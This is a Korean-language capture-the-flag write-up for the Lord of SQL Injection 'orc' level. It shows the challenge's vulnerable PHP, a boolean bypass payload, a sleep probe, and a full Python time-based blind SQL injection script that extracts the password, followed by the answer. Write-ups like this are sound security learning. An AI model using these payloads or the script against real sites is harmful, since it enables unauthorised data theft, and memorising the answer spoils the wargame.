[Solved in under 50 minutes]
SQL Injection 재밌어서 LoS로 다시 돌아왔다.
다른 Wargame도 많이 해보려고 노력하지만 일단 쉬원하게 풀리는 문제 다 풀고 방랑자로 다른 사이트도 찾아보자
일단 가보자

<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello admin</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc");
highlight_file(__FILE__);
?>
간단하게 해석하면
id=admin 고정이고 pw를 건들여서 admin으로 로그인 해야한다.
필터링은 기본적인거니 패스하고
중요하게 봐야 할 건 이 부분
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc");
이 구문때문에 pw='?' 값의 유무를 따지고 그 값이 admin의 pw와 똑같아야 한다.

' or '1'=true %23
%23은 '#'의 URL 인코딩된 값이다.
Hello admin은 떴지만 clear는 아니다.
왜냐하면 상단의 쿼리 작동 부분에서는 id=admin / pw=' or '1'=true 즉, 논리형 참으로 인해 echo "Hello admin"이 되었지만
하단의 쿼리 작동 부분에서는 $_GET['pw']의 값을 DB안 admin의 pw값 유무와 더불어 값을 비교하기 때문에 논리형으로는 admin의 pw값을 뽑아낼수없다.
정리하자면 pw 값을 진짜로 넣어야 한다.
값을 진짜 알아내는 방법은 여러가지 있지만 여기서는

1' or sleep(3) %23
sleep() 함수가 먹히는 것을 보고 바로 Time-based SQL Injection을 노려보기로 했다.
저번에 webhacking.kr의 old-22 문제에 사용했던 코드를 수정해서 사용하기로 하였다.
이번에 마음먹고 코드를 하나 제대로 만들어서 돌려먹기로 쓰려고 시간좀 들여서 만들었다.
코딩 개시러~~~

import requests
import time
import string
url = "https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php"
cookie = {'PHPSESSID': 'p3b42jo6aurcdrdm8av7dl686l'}
charset = '0123456789abcdefghijklnmopqrstuvwxyzABCDEFGHIJKLNMOPQRSTUVWXYZ'
pw_len_result = ''
result_all = ''
print("PW 길이 찾기 요이땅!")
for pw_len in range(1, 33):
len_payload = f"1' or if(length(pw)={pw_len}, sleep(3), 0) #"
len_start = time.time()
len_response = requests.get(url, params={'pw': len_payload}, cookies=cookie)
len_found_time = time.time() - len_start
if len_found_time > 2:
pw_len_result = pw_len
print(f"PW 길이 : {pw_len}")
print("PW 값 찾기 요이땅!")
if pw_len_result:
for i in range(1, pw_len_result + 1):
result = []
for char in charset:
payload = f"1' or binary substring(pw,{i},1)='{char}' and sleep(3) #"
start = time.time()
response = requests.get(url, params={'pw': payload}, cookies=cookie)
found_time = time.time() - start
if found_time > 2:
result += char
print(f"PW 값 {i}번째 : {char}")
if len(result) == 1:
result_all += result[0]
elif len(result) > 1:
result_all += f"[{''.join(result)}]"
else:
print("다시 돌려라.")
else:
print("PW 길이 못 찾았다. 다시 돌려라.")
print(f"PW 값 {pw_len_result}자리 : {result_all}")
[0d][9j][5f][ak]9852
이 코드는 간단하게 말하자면
첫째. 비밀번호의 길이를 구해줘
둘째. 비밀번호의 길이만큼 pw를 뽑아줘
이거를 중점으로 만들었다.
근데 코드를 보면 값을 찾아도 break 를 따로 걸어두지 않았는데,, 나만 이런건지 모르겠는데 처음에 break를 걸고 문제를 풀었는데 답이 계속 틀렸다고 나와서 뭐지 뭐가 잘 못 됐지 싶어서 테스트 하다가 발견했다.
한 인덱스에 값이 계속 두개가 나온다.
그래서 break를 풀고 전부 다 시도하여 나온 그 값들을 전부다 저장하는 형식으로 뽑았다.
이제는 해야 할 짓
경우의 수 울며 겨자먹기.
이것도 그냥 코드에 포함해서 자동화 뽑을까 했는데 내 뇌로는 스트레스 받을 것 같아서 포기하고 나온거 그냥 GPT형님한테 경우의수 뽑아줘 하면 이렇게 잘 뽑아준다.
하나씩 넣어보자

ㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡ 답 ㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡ
?pw=095a9852
ㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡ
운은 드릅게 좋아서 첫번째게 바로 답이었다.
혹시나 다른거도 넣어봤는데 역시나 안됐다.
그럼 왜 slee(3)에 걸리는걸까 허허 이건 진짜 모르겠다.
여하튼 이렇게 자존감 +1 했다.
LoS(Lord of SQL Injection) Orc Write-up
이상 보고 끝!